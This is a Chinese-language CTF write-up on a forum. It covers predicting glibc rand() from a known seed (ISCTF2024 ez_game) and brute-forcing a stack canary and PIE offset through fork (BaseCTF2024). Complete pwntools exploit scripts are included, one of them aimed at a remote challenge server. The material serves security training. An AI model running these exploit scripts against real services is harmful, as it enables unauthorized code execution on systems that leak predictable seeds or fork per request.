找回密码
 立即注册
首页 业界区 业界 随机数预测与爆破canary

随机数预测与爆破canary

戟铵腴 6 天前
随机数预测

随机数能预测主要是因为计算机本质上无法真正生成随机数,生成的是伪随机数。只要种子一样,生成的算法一样,那么结果就是一样。像c语言的srand函数就是设置种子,接下来调用rand()就会生成随机数,如果不先srand设置种子,直接rand(),那么种子就默认为1。我们在python中可以通过a=cdll.LoadLibrary('./libc.so.6')来加载对应的libc库,然后接下来a.srand()就可以设置种子,利用a.rand()就可以生成随机数,只要种子一样,算法一样(libc库一样)就可以预测随机数了。接下来我们看例题。
ISCTF2024-ez_game

老规矩先checksec
1.png

只开了nx保护,接下来放ida看看
2.png

逻辑很简单,先puts告诉我们一些东西,接下来就是一个时间限制是15s,然后就是一个gets,不过这里有有点奇怪,正常理论上应该可以覆盖种子和循环标志直接终止循环来getshell。这里不知道为什么不行,我试过是不可以的。不过我们还可以预测20001次随机数来起到getshell。我们只需要像刚才讲过的操作一遍就可以了,至于这个gets可以不管,随便输入。完整exp如下:
  1. from pwn import *
  2. import sys
  3. from ctypes import *
  4. context.log_level='debug'
  5. context.arch='amd64'
  6. elf=ELF('./pwn')
  7. libc = ELF('./libc.so.6')
  8. flag = 1
  9. if flag:
  10.     p = remote('challenge.imxbt.cn',32576)
  11. else:
  12.     p = process('./pwn')
  13. sa = lambda s,n : p.sendafter(s,n)
  14. sla = lambda s,n : p.sendlineafter(s,n)
  15. sl = lambda s : p.sendline(s)
  16. sd = lambda s : p.send(s)
  17. rc = lambda n : p.recv(n)
  18. ru = lambda s : p.recvuntil(s)
  19. ti = lambda : p.interactive()
  20. leak = lambda name,addr :log.success(name+"--->"+hex(addr))
  21. def dbg():
  22.     gdb.attach(p)
  23.     pause()
  24. libc=cdll.LoadLibrary('./libc.so.6')
  25. ru(b'Enter your username: ')
  26. sl(b'firefly_star')
  27. libc.srand(1)
  28. re=[0]*20001
  29. for i in range(20001):
  30.         re[i]=str(libc.rand()%7+1)
  31.         sl(re[i])
  32. ti()
复制代码
这里因为有时间限制,所以我们就不用管第几轮第几轮了,直接快速sendline发过去就可以了。
爆破canary

canary是什么?

canary的本意是金丝雀,来源于英国矿井工人用来探查井下气体是否有毒的金丝雀笼子。工人们每次下井都会带上一只金丝雀。如果井下的气体有毒,金丝雀由于对毒性敏感就会停止鸣叫甚至死亡,从而使工人们得到预警。而在pwn中,canary是一种保护栈溢出的机制,用于防止栈溢出,一般位于rbp-8的位置,因为我们想要覆盖返回地址一定要覆盖过rbp,所以一定会覆盖到canary。并且canary低字节为\x00,这样就确保了一般不能被printf,与puts打印出来。并且在函数返回时会把栈上的canary与TLS 上的canary进行异或,假如这两者不相同就会触发*** stack smashing detected ***直接终止程序。
绕过canary保护主要有五种办法,第一种是格式化字符串/printf/puts泄露;第二种是爆破canary(要有fork),也就是接下来我们要讲的;第三种是Stack mashing(故意触发canary,不过要比较低的版本);第四种是改__stack_chk_fail的got表,也是故意触发canary去执行函数(fmt的时候用过这种了)。还有一种就是覆盖tls表,因为canary一个在栈上,一个在tls上,只要我们把TLS 上的canary覆盖成和栈上的一样,也可以绕过canary。
爆破canary的条件

爆破canary主要就是利用子进程与父进程canary一样,并且子进程结束不影响父进程继续执行的特性,通过在子进程一个个试canary的值最终试出完整的canary。所以爆破的前提就是要有fork子进程,并且要能一直触发子进程。下面我们看例题
BaseCTF2024新生赛-没有 canary 我要死了!

老规矩先checksec
3.png

直接保护全开,还是有点吓人的,我们去ida看看。
4.png

5.png

首先生成了一个随机数让我们猜,如果猜对了就创建子进程,不对就退出程序。接下来子进程有一个read栈溢出只能溢出0x10(刚好覆盖返回地址),但有canary,并且没有格式化字符串等泄露,接下来父进程为wait等待子进程结束,子进程结束后就继续猜随机数,猜对了重复上述过程。所以我们就可以通过多次预测随机数进入子进程,然后一位一位爆破canary,只要我们程序没退出,canary就不会变。只要多爆破几次就一定能全爆破出来。接下来我们写脚本,这个题好像没给libc.so.6文件?所以我只能打本地了,预测随机数需要这个文件来实现算法相同。主要就是一个字节一个字节爆破出canary,并且因为canary低字节是\x00,所以我们只需要爆破7位就可以了。爆破canary脚本如下
  1. a=libc1.time(0)
  2. libc1.srand(a)
  3. global can
  4. can=b'\x00'#低字节是\x00直接写
  5. for j in range(7):#爆破7次
  6.   for i in range(256):#遍历ascii码表
  7.     ru(b"oh, welcome to BaseCTF\n")#接收其他输出,防止干扰是否触发*** stack smashing detected ***
  8.     pa=libc1.rand()%50#随机数预测
  9.     sl(str(pa))
  10.     pay=b'b'*0x68+can+p8(i)
  11.     sd(pay)
  12.     c=p.recvline()#接收其他输出
  13.     b=p.recvline() #接收*** stack smashing detected ***
  14.     if b'stack' in b:#判断是否触发*** stack smashing detected ***,触发就继续遍历,未触发就+一位并继续爆破下一位
  15.         continue
  16.     else :
  17.         can+=p8(i)
  18.         break
复制代码
同时我们别忘了这个程序还有pie保护,经过调试可知子进程那个read最后还要返回main,我们因为泄露不出pie基址所以只能再爆破一次了,因为main函数的地址是pie基址+0x134f而我们shell函数是pie基址+0x12B1(在后面函数起始地址往下一点,实现栈对齐),可以看见main函数和后面函数他们应该地址是axxx和ayyy,就最好三位不一样,而我们哪怕p8发送一字节都会覆盖掉两位,所以我们要把后门函数设置成0x02b1然后每个循环+0x1000去爆破后面函数的地址,爆破后面函数的脚本如下
  1. for k in range(16):
  2.     b=libc1.rand()%50
  3.     sl(str(b))
  4.     pay=0x68*b'b'+can+b'b'*8+p16(back)
  5.     sd(pay)
  6.     d=p.recvline()
  7.     if b'welcome' in d:
  8.         back+=0x1000
  9.         p.recvline()
  10.         continue
  11.     else :
  12.         break
复制代码
完整exp如下:
  1. from pwn import *
  2. import sys
  3. from ctypes import *
  4. context.log_level='debug'
  5. context.arch='amd64'
  6. elf=ELF('./pwn')
  7. libc = ELF('./libc.so.6')
  8. libc1=cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
  9. '''#srop
  10. srop=SigreturnFrame()
  11. srop.rax=
  12. srop.rdi=
  13. srop.rsi=
  14. srop.rsp=
  15. srop.rip=
  16. srop.rbp=
  17. '''
  18. '''#dlresolve
  19. dlresolve=Ret2dlresolvePayload(elf=elf,symbol= ,arg=[ ],resolution_addr= ,data_addr=)
  20. rop=ROP(elf)
  21. rop.ret2dlresolve(dlresolve)
  22. '''
  23. flag = 0
  24. if flag:
  25.     p = remote('1')
  26. else:
  27.     p = process('./pwn')
  28. sa = lambda s,n : p.sendafter(s,n)
  29. sla = lambda s,n : p.sendlineafter(s,n)
  30. sl = lambda s : p.sendline(s)
  31. sd = lambda s : p.send(s)
  32. rc = lambda n : p.recv(n)
  33. ru = lambda s : p.recvuntil(s)
  34. ti = lambda : p.interactive()
  35. leak = lambda name,addr :log.success(name+"--->"+hex(addr))
  36. u64 = lambda a : u64(rc(a).ljust(8,b'\x00').strip())
  37. def ph(s):
  38.     print(hex(s))
  39. def dbg():
  40.     gdb.attach(p)
  41.     pause()
  42. a=libc1.time(0)
  43. libc1.srand(a)
  44. global can
  45. can=b'\x00'
  46. for j in range(7):
  47.   for i in range(256):
  48.     ru(b"oh, welcome to BaseCTF\n")
  49.     pa=libc1.rand()%50
  50.     sl(str(pa))
  51.     pay=b'b'*0x68+can+p8(i)
  52.     sd(pay)
  53.     c=p.recvline()
  54.     b=p.recvline()
  55.     if b'stack' in b:
  56.         continue
  57.     else :
  58.         can+=p8(i)
  59.         break
  60. print(can)
  61. pause()
  62. back=0x02B1
  63. for k in range(16):
  64.     b=libc1.rand()%50
  65.     sl(str(b))
  66.     pay=0x68*b'b'+can+b'b'*8+p16(back)
  67.     sd(pay)
  68.     d=p.recvline()
  69.     if b'welcome' in d:
  70.         back+=0x1000
  71.         p.recvline()
  72.         continue
  73.     else :
  74.         break
  75. ti()
复制代码
效果如下
6.jpeg

这题还是有点意思的。

来源:程序园用户自行投稿发布,如果侵权,请联系站长删除
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

相关推荐

您需要登录后才可以回帖 登录 | 立即注册